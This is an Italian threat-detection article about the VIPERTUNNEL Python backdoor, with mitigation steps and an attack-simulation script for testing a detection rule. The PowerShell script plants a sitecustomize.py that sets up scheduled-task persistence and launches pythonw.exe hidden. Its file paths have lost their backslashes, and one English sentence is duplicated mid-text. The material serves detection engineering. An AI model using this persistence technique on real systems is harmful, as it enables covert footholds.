SOC Prime Bias: Alto

14 Apr 2026 15:38 UTC

VIPERTUNNEL Backdoor Python: Un’Analisi Approfondita

Author Photo
SOC Prime Team linkedin icon Segui
VIPERTUNNEL Backdoor Python: Un’Analisi Approfondita
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

Il rapporto dettaglia l’analisi di VIPERTUNNEL, una backdoor basata su Python che ottiene la persistenza tramite un’attività pianificata e sfrutta un sito sitecustomize.py malevolo per caricare una DLL offuscata. La DLL decodifica ed esegue un payload a più stadi che stabilisce un proxy SOCKS5 a un server C2 codificato su porta 443. L’infrastruttura è collegata a UNC2165 ed EvilCorp e condivide tecniche di offuscamento con il credential-stealer ShadowCoil.

Indagine

I ricercatori hanno esaminato l’output di Autoruns, identificato l’attività pianificata 523135538 e tracciato l’esecuzione fino a C:ProgramDatacp49spythonw.exe e al suo modulo sitecustomize.py. L’analisi inversa di b5yogiiy3c.dll ha rivelato offuscamento a strati, routine di decrittazione e una fase finale che crea un tunnel SOCKS5 utilizzando credenziali codificate. L’analisi dell’infrastruttura ha collegato più domini e IP alla campagna e ha evidenziato l’uso del framework Pyramid C2.

Mitigazione

Distribuire la rilevazione degli endpoint che monitora l’esecuzione di pythonw.exe senza argomenti, la creazione di attività pianificate con nomi numerici e la presenza di sitecustomize.py in posizioni inaspettate. Bloccare il traffico in uscita verso domini C2 conosciuti e le porte 443/8000 con risposte HTTP 401 anomale. Implementare un rigoroso controllo delle applicazioni per prevenire il caricamento di moduli Python non autorizzati.

Risposta

Avvisare sulla creazione dell’attività pianificata sospetta e l’esecuzione di pythonw.exe senza uno script. Quarantena degli host compromessi, raccolta di dump di memoria, e ricerca dei nomi di classi caratteristiche e delle credenziali codificate. Invalida le credenziali compromesse e interrompi l’infrastruttura C2 identificata nel rapporto.

Flusso de Attacco

Esecuzione della Simulazione

Pre-requisito: Il Controllo Pre-Volante di Telemetria e Baseline deve essere passato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirare a generare telemetria esattamente come previsto dalla logica di rilevamento.

  • Narrazione dell’Attacco e Comandi:

    L’avversario prima lascia cadere un file sitecustomize.py dannoso nella stessa directory di pythonw.exe. Python importa automaticamente sitecustomize.py all’avvio dell’interprete, permettendo all’attaccante di eseguire codice arbitrario senza passare un percorso di script sulla linea di comando. Avviando pythonw.exe senza argomenti, l’evento di creazione del processo contiene una linea di comando vuota, soddisfacendo le condizioni della regola Sigma. Il payload stabilisce un’attività pianificata per la persistenza, assicurando che l’interprete venga eseguito all’avvio del sistema, mantenendo così una presenza a lungo termine. CommandLine field, satisfying the Sigma rule’s conditions. The payload establishes a scheduled task for persistence, ensuring the interpreter runs at system startup, thereby maintaining long‑term foothold.

  • Script di Test di Regressione:

    # -------------------------------------------------
    # Setup sito malevolo sitecustomize.py
    # -------------------------------------------------
    $payloadPath = 'C:ProgramDatacp49ssitecustomize.py'
    $exePath     = 'C:ProgramDatacp49spythonw.exe'
    
    # Assicurarsi che la cartella di destinazione esista
    New-Item -ItemType Directory -Path (Split-Path $exePath) -Force | Out-Null
    
    # Distribuire una copia benigna di pythonw.exe per il test (se non già presente)
    # In uno scenario di red team reale questo sarebbe l'interprete legittimo
    if (-Not (Test-Path $exePath)) {
        # Copia dall'installazione di Python di sistema (modificare il percorso come necessario)
        Copy-Item 'C:Python39pythonw.exe' $exePath
    }
    
    # Creare un sito malevolo sitecustomize.py (crea un'attività pianificata come prova del concetto)
    @"
    import subprocess, sys
    # Creare un'attività pianificata che esegue pythonw.exe ogni minuto (persistenza)
    subprocess.run(['schtasks', '/Create', '/SC', 'MINUTE', '/MO', '1',
                '/TN', 'UpdateTask', '/TR', sys.executable])
    "@ | Set-Content -Path $payloadPath -Encoding UTF8
    
    # -------------------------------------------------
    # Attivare il rilevamento (esecuzione malevola)
    # -------------------------------------------------
    Write-Host '[+] Avvio di pythonw.exe con linea di comando vuota...'
    Start-Process -FilePath $exePath -ArgumentList '' -WindowStyle Hidden
    
    # Attendere un breve periodo per la creazione dell'attività pianificata (opzionale)
    Start-Sleep -Seconds 5
    
    Write-Host '[+] Payload eseguito. Controlla il tuo SIEM per l'allerta.'
    # -------------------------------------------------
    # Fine dello script
    # -------------------------------------------------
  • Comandi di Pulizia:

    # Rimuovere il sito malevolo sitecustomize.py
    Remove-Item -Path 'C:ProgramDatacp49ssitecustomize.py' -Force -ErrorAction SilentlyContinue
    
    # Eliminare l'attività pianificata creata dal payload
    schtasks /Delete /TN UpdateTask /F
    
    # Rimuovere facoltativamente la copia di pythonw.exe (se era una copia di test)
    # Remove-Item -Path 'C:ProgramDatacp49spythonw.exe' -Force
    
    Write-Host '[+] Pulizia completata.'